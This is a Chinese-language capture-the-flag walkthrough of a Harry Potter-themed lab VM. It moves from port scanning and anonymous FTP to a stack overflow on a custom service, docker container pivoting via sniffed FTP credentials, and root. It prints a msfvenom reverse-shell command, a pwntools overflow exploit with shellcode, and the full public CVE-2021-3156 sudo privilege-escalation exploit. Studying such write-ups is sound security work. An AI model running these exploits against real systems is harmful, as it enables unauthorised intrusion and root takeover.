# 前言

知道 docker 这个小东西的优点后,我一直在想,如果我将环境部署到 docker 中是不是就很安全,但是哪有绝对的安全,docker 逃逸?

# 靶机描述

难度:高

目标:拿到 root 权限

涉及的攻击方法:

  • 主机发现
  • 端口扫描
  • WEB 信息收集
  • FTP 服务攻击
  • 缓冲区溢出
  • 模糊测试
  • 漏洞利用代码编写
  • 流量转包分析
  • 堆溢出漏洞攻击
  • Metasploit(MSF)
  • 手动修复 EXP 代码
  • 本地提权

虚拟机:

  • 格式: 虚拟机 (Virtualbox OVA)
  • 操作系统: Linux.

联网:

  • DHCP 服务:已启用
  • IP 地址自动分配

# 攻击流程

# 信息收集

image-20230726083847527

还是使用 arp-scan 来探测局域网中的存活主机,接着使用 nmap 来探测湍口和协议

image-20230726084057880

这里 21 端口是一个 vsftpd 服务,版本是 3.0.3,端口 22 是一个 OpenSSH 服务版本是 7.9,80 是一个 Apache2.4.38 的 httpd 服务,2222 端口同样也是一个 OpenSSH 的服务,不过版本与上面的 22 端口不太一样,9898 是一个 tcpwrapped 服务,使用一个 - sC 参数进一步探测

image-20230726084558204

还真有新的发现,这里可以看到可以 21 端口的 ftp 是可以匿名登录的,这里还探测出来了一个文件,其他的就没有什么很有用的信息了,这里去匿名登录看一下

image-20230726085846832

确实是有这样一个文件,先将其 down 下来

image-20230726085958832

这里也就没有别的什么有用的信息了,接下来使用浏览器去看一下 80 端口上的信息

image-20230726085017374

这个页面就一张哈利波特的图片(图不错,我偷走了😻),源码中也没有发现什么有用的信息

image-20230726085101027

使用 dirseach 扫描一下目录

image-20230726085235846

也没有很有价值的东西

# 漏洞利用

将目光放回到刚 down 下来的文件上

image-20230726090356452

发现这里是一个 elf 文件,说实话看到这个东西我很头疼,先给一个运行的权限运行起来看一下

image-20230726090554014

使用 ps 和 ss 命令去查看一下,这个 elf 文件运行后有没有建立进程有没有开放端口

image-20230726090722728

image-20230726090757479

可以看到,进程是建立了的,这里还开放了 9898 端口,开始端口扫描的时候,也是这个端口,看来靶机上的端口运行的也是这个服务,用 nc 连接上验证一下

目标靶机上的

image-20230726091141506

本地上的

image-20230726091156342

看来突破口一个应该就是这里了,这里使用 kali 自带的工具 ebd 去调试一下

image-20230727132719573

我直接在这里填充 500 个 A 后

image-20230727132816316

这里可以看见 EIP 和 ESP 都被填充为 A,EIP 存放下一条指令的地址,ESP 存放具体的代码,现在的思路就是将代码覆盖到 ESP,然后通过 EIP 跳转到 ESP

接下来确定一下,哪些数据被填充到 EIP 和 ESP 中,这里使用这个工具来生成一段序列

image-20230727144115397

重新填充数据

image-20230727144430213

可以看到覆盖到 EIP 的是 64413764,ESP 的是 8Ad9 后面的字符串

image-20230727144920514

这里可以看到偏移量是 112,再生成一个 payload 来验证一下

image-20230727145243317

如果偏移量正确,EIP 应该是 BBBB

image-20230727145621099

可以看到可以确定覆盖的位置

image-20230727150143235

这里找到了一个从 ESP 跳转到 EIP 并且是有课执行权限的指令

image-20230727150342487

这里可以看见,有一个 jmp 指令可以跳转到 esp,用这个内存地址覆盖到 EIP 就可以跳转到 ESP,这里还需要找一下,哪些字符能覆盖到 ESP

image-20230727150933542

覆盖到 EIP 的内容实际上是 dA7d,也就是说后面紧接着就是覆盖 ESP 的内容

msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.13.249 LPORT=4444 -b "\x00" -f py

先通过 msfvenom 工具生成一个反弹的 shell 的 payload

image-20230727154431048

from pwn import *
p  = remote('192.168.13.193',9898) 
buf =  ""
buf += "\xbf\x64\x7f\x5a\x36\xda\xc6\xd9\x74\x24\xf4\x5d\x29"
buf += "\xc9\xb1\x12\x31\x7d\x12\x03\x7d\x12\x83\x89\x83\xb8"
buf += "\xc3\x60\xa7\xca\xcf\xd1\x14\x66\x7a\xd7\x13\x69\xca"
buf += "\xb1\xee\xea\xb8\x64\x41\xd5\x73\x16\xe8\x53\x75\x7e"
buf += "\x2b\x0b\x88\x87\xc3\x4e\x93\x66\x48\xc6\x72\x38\x16"
buf += "\x88\x25\x6b\x64\x2b\x4f\x6a\x47\xac\x1d\x04\x36\x82"
buf += "\xd2\xbc\xae\xf3\x3b\x5e\x46\x85\xa7\xcc\xcb\x1c\xc6"
buf += "\x40\xe0\xd3\x89"
payload = 'A'*112+'\x55\x9d\x04\x08'+'\x90'*64+buf
p.send(payload)
p.close()

image-20230727155148917

这里就成功拿到了一个 harry 用户的 shell

# 进一步信息收集

这里老规矩去 home 目录看一下

image-20230727155641141

这里看到有一个 mycreds 文件,这里打开看一下,发现像是一个密码

image-20230727162104480

HarrYp0tter@Hogwarts123

这里尝试用 ssh 登录,发现 22 端口不行,但是 2222 端口是可以的

image-20230727162303043

但是在信息收集想要提权的过程中我发现,这只是一个 docker 容器

image-20230727162348415

也还是先提权这里发现 sudo 配置缺陷

image-20230727162545975

提权后

image-20230727162651008

在 root 目录看到两个文件,这里也是去看了一下

we have found that someone is trying to login to our ftp server by mistake.You are requested to analyze the traffic and figure out the user.

image-20230727162822280

# 流量分析

因为靶机没有 Wireshark 工具,所以这里使用原始的 tcpdump

image-20230727163254470

这里拿到一组用户名密码,接着去尝试在各个地方登录

neville
bL!Bsg3k

image-20230727163427127

最后发现,这组用户密码是 neville 在 22 端口上的 ssh 密码

image-20230727163522679

这里看了一下,发现这里终于不是一个 docker 容器了

# 提权

漏洞公告 | Linux sudo 权限漏洞(CVE-2021-3156) (aliyun.com) 这里利用的是这样的一个漏洞

image-20230727164554545

image-20230727164539195

这里根据文章中对应的环境测试,发现版本是能够对应上的,而且没有打补丁

#!/usr/bin/python3
'''
Exploit for CVE-2021-3156 with overwrite struct service_user by sleepya
This exploit requires:
- glibc with tcache
- nscd service is not running
Tested on:
- Ubuntu 18.04
- Ubuntu 20.04
- Debian 10
- CentOS 8
'''
import os
import subprocess
import sys
from ctypes import cdll, c_char_p, POINTER, c_int, c_void_p
SUDO_PATH = b"/usr/local/bin/sudo"
libc = cdll.LoadLibrary("libc.so.6")
# don't use LC_ALL (6). it override other LC_
LC_CATS = [
	b"LC_CTYPE", b"LC_NUMERIC", b"LC_TIME", b"LC_COLLATE", b"LC_MONETARY",
	b"LC_MESSAGES", b"LC_ALL", b"LC_PAPER", b"LC_NAME", b"LC_ADDRESS",
	b"LC_TELEPHONE", b"LC_MEASUREMENT", b"LC_IDENTIFICATION"
]
def check_is_vuln():
	# below commands has no log because it is invalid argument for both patched and unpatched version
	# patched version, error because of '-s' argument
	# unpatched version, error because of '-A' argument but no SUDO_ASKPASS environment
	r, w = os.pipe()
	pid = os.fork()
	if not pid:
		# child
		os.dup2(w, 2)
		execve(SUDO_PATH, [ b"sudoedit", b"-s", b"-A", b"/aa", None ], [ None ])
		exit(0)
	# parent
	os.close(w)
	os.waitpid(pid, 0)
	r = os.fdopen(r, 'r')
	err = r.read()
	r.close()
	
	if "sudoedit: no askpass program specified, try setting SUDO_ASKPASS" in err:
		return True
	assert err.startswith('usage: ') or "invalid mode flags " in err, err
	return False
def create_libx(name):
	so_path = 'libnss_'+name+'.so.2'
	if os.path.isfile(so_path):
		return  # existed
	
	so_dir = 'libnss_' + name.split('/')[0]
	if not os.path.exists(so_dir):
		os.makedirs(so_dir)
	
	import zlib
	import base64
	libx_b64 = 'eNqrd/VxY2JkZIABZgY7BhBPACrkwIAJHBgsGJigbJAydgbcwJARlWYQgFBMUH0boMLodAIazQGl\neWDGQM1jRbOPDY3PhcbnZsAPsjIjDP/zs2ZlRfCzGn7z2KGflJmnX5zBEBASn2UdMZOfFQDLghD3'
	with open(so_path, 'wb') as f:
		f.write(zlib.decompress(base64.b64decode(libx_b64)))
	#os.chmod(so_path, 0o755)
def check_nscd_condition():
	if not os.path.exists('/var/run/nscd/socket'):
		return True # no socket. no service
	
	# try connect
	import socket
	sk = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
	try:
		sk.connect('/var/run/nscd/socket')
	except:
		return True
	else:
		sk.close()
	with open('/etc/nscd.conf', 'r') as f:
		for line in f:
			line = line.strip()
			if not line.startswith('enable-cache'):
				continue # comment
			service, enable = line.split()[1:]
			# in fact, if only passwd is enabled, exploit with this method is still possible (need test)
			# I think no one enable passwd but disable group
			if service == 'passwd' and enable == 'yes':
				return False
			# group MUST be disabled to exploit sudo with nss_load_library() trick
			if service == 'group' and enable == 'yes':
				return False
			
	return True
def get_libc_version():
	output = subprocess.check_output(['ldd', '--version'], universal_newlines=True)
	for line in output.split('\n'):
		if line.startswith('ldd '):
			ver_txt = line.rsplit(' ', 1)[1]
			return list(map(int, ver_txt.split('.')))
	return None
def check_libc_version():
	version = get_libc_version()
	assert version, "Cannot detect libc version"
	# this exploit only works which glibc tcache (added in 2.26)
	return version[0] >= 2 and version[1] >= 26
def check_libc_tcache():
	libc.malloc.argtypes = (c_int,)
	libc.malloc.restype = c_void_p
	libc.free.argtypes = (c_void_p,)
	# small bin or tcache
	size1, size2 = 0xd0, 0xc0
	mems = [0]*32
	# consume all size2 chunks
	for i in range(len(mems)):
		mems[i] = libc.malloc(size2)
		
	mem1 = libc.malloc(size1)
	libc.free(mem1)
	mem2 = libc.malloc(size2)
	libc.free(mem2)
	for addr in mems:
		libc.free(addr)
	return mem1 != mem2
def get_service_user_idx():
	'''Parse /etc/nsswitch.conf to find a group entry index
	'''
	idx = 0
	found = False
	with open('/etc/nsswitch.conf', 'r') as f:
		for line in f:
			if line.startswith('#'):
				continue # comment
			line = line.strip()
			if not line:
				continue # empty line
			words = line.split()
			if words[0] == 'group:':
				found = True
				break
			for word in words[1:]:
				if word[0] != '[':
					idx += 1
			
	assert found, '"group" database is not found. might be exploitable but no test'
	return idx
def get_extra_chunk_count(target_chunk_size):
	# service_user are allocated by calling getpwuid()
	# so we don't care allocation of chunk size 0x40 after getpwuid()
	# there are many string that size can be varied
	# here is the most common
	chunk_cnt = 0
	
	# get_user_info() -> get_user_groups() ->
	gids = os.getgroups()
	malloc_size = len("groups=") + len(gids) * 11
	chunk_size = (malloc_size + 8 + 15) & 0xfffffff0  # minimum size is 0x20. don't care here
	if chunk_size == target_chunk_size: chunk_cnt += 1
	
	# host=<hostname>  (unlikely)
	# get_user_info() -> sudo_gethostname()
	import socket
	malloc_size = len("host=") + len(socket.gethostname()) + 1
	chunk_size = (malloc_size + 8 + 15) & 0xfffffff0
	if chunk_size == target_chunk_size: chunk_cnt += 1
	
	# simply parse "networks=" from "ip addr" command output
	# another workaround is bruteforcing with number of 0x70
	# policy_open() -> format_plugin_settings() ->
	# a value is created from "parse_args() -> get_net_ifs()" with very large buffer
	try:
		import ipaddress
	except:
		return chunk_cnt
	cnt = 0
	malloc_size = 0
	proc = subprocess.Popen(['ip', 'addr'], stdout=subprocess.PIPE, bufsize=1, universal_newlines=True)
	for line in proc.stdout:
		line = line.strip()
		if not line.startswith('inet'):
			continue
		if cnt < 2: # skip first 2 address (lo interface)
			cnt += 1
			continue;
		addr = line.split(' ', 2)[1]
		mask = str(ipaddress.ip_network(addr if sys.version_info >= (3,0,0) else addr.decode("UTF-8"), False).netmask)
		malloc_size += addr.index('/') + 1 + len(mask)
		cnt += 1
	malloc_size += len("network_addrs=") + cnt - 3 + 1
	chunk_size = (malloc_size + 8 + 15) & 0xfffffff0
	if chunk_size == target_chunk_size: chunk_cnt += 1
	proc.wait()
	
	return chunk_cnt
def execve(filename, argv, envp):
	libc.execve.argtypes = c_char_p,POINTER(c_char_p),POINTER(c_char_p)
	
	cargv = (c_char_p * len(argv))(*argv)
	cenvp = (c_char_p * len(envp))(*envp)
	libc.execve(filename, cargv, cenvp)
def lc_env(cat_id, chunk_len):
	name = b"C.UTF-8@"
	name = name.ljust(chunk_len - 0x18, b'Z')
	return LC_CATS[cat_id]+b"="+name
assert check_is_vuln(), "target is patched"
assert check_libc_version(), "glibc is too old. The exploit is relied on glibc tcache feature. Need version >= 2.26"
assert check_libc_tcache(), "glibc tcache is not found"
assert check_nscd_condition(), "nscd service is running, exploit is impossible with this method"
service_user_idx = get_service_user_idx()
assert service_user_idx < 9, '"group" db in nsswitch.conf is too far, idx: %d' % service_user_idx
create_libx("X/X1234")
# Note: actions[5] can be any value. library and known MUST be NULL
FAKE_USER_SERVICE_PART = [ b"\\" ] * 0x18 + [ b"X/X1234\\" ]
TARGET_OFFSET_START = 0x780
FAKE_USER_SERVICE = FAKE_USER_SERVICE_PART*30
FAKE_USER_SERVICE[-1] = FAKE_USER_SERVICE[-1][:-1]  # remove last '\\'. stop overwritten
CHUNK_CMND_SIZE = 0xf0
# Allow custom extra_chunk_cnt incase unexpected allocation
# Note: this step should be no need when CHUNK_CMND_SIZE is 0xf0
extra_chunk_cnt = get_extra_chunk_count(CHUNK_CMND_SIZE) if len(sys.argv) < 2 else int(sys.argv[1])
argv = [ b"sudoedit", b"-A", b"-s", b"A"*(CHUNK_CMND_SIZE-0x10)+b"\\", None ]
env = [ b"Z"*(TARGET_OFFSET_START + 0xf - 8 - 1) + b"\\" ] + FAKE_USER_SERVICE
# first 2 chunks are fixed. chunk40 (target service_user) is overwritten from overflown cmnd (in get_cmnd)
env.extend([ lc_env(0, 0x40)+b";A=", lc_env(1, CHUNK_CMND_SIZE) ])
# add free chunks that created before target service_user
for i in range(2, service_user_idx+2):
	# skip LC_ALL (6)
	env.append(lc_env(i if i < 6 else i+1, 0x40))
if service_user_idx == 0:
	env.append(lc_env(2, 0x20)) # for filling hole
for i in range(11, 11-extra_chunk_cnt, -1):
	env.append(lc_env(i, CHUNK_CMND_SIZE))
env.append(lc_env(12, 0x90)) # for filling holes from freed file buffer
env.append(b"TZ=:")  # shortcut tzset function
# don't put "SUDO_ASKPASS" environment. sudo will fail without logging if no segfault
env.append(None)
execve(SUDO_PATH, argv, env)

在网上找了这样一个利用脚本

image-20230727172200892

这样就结束了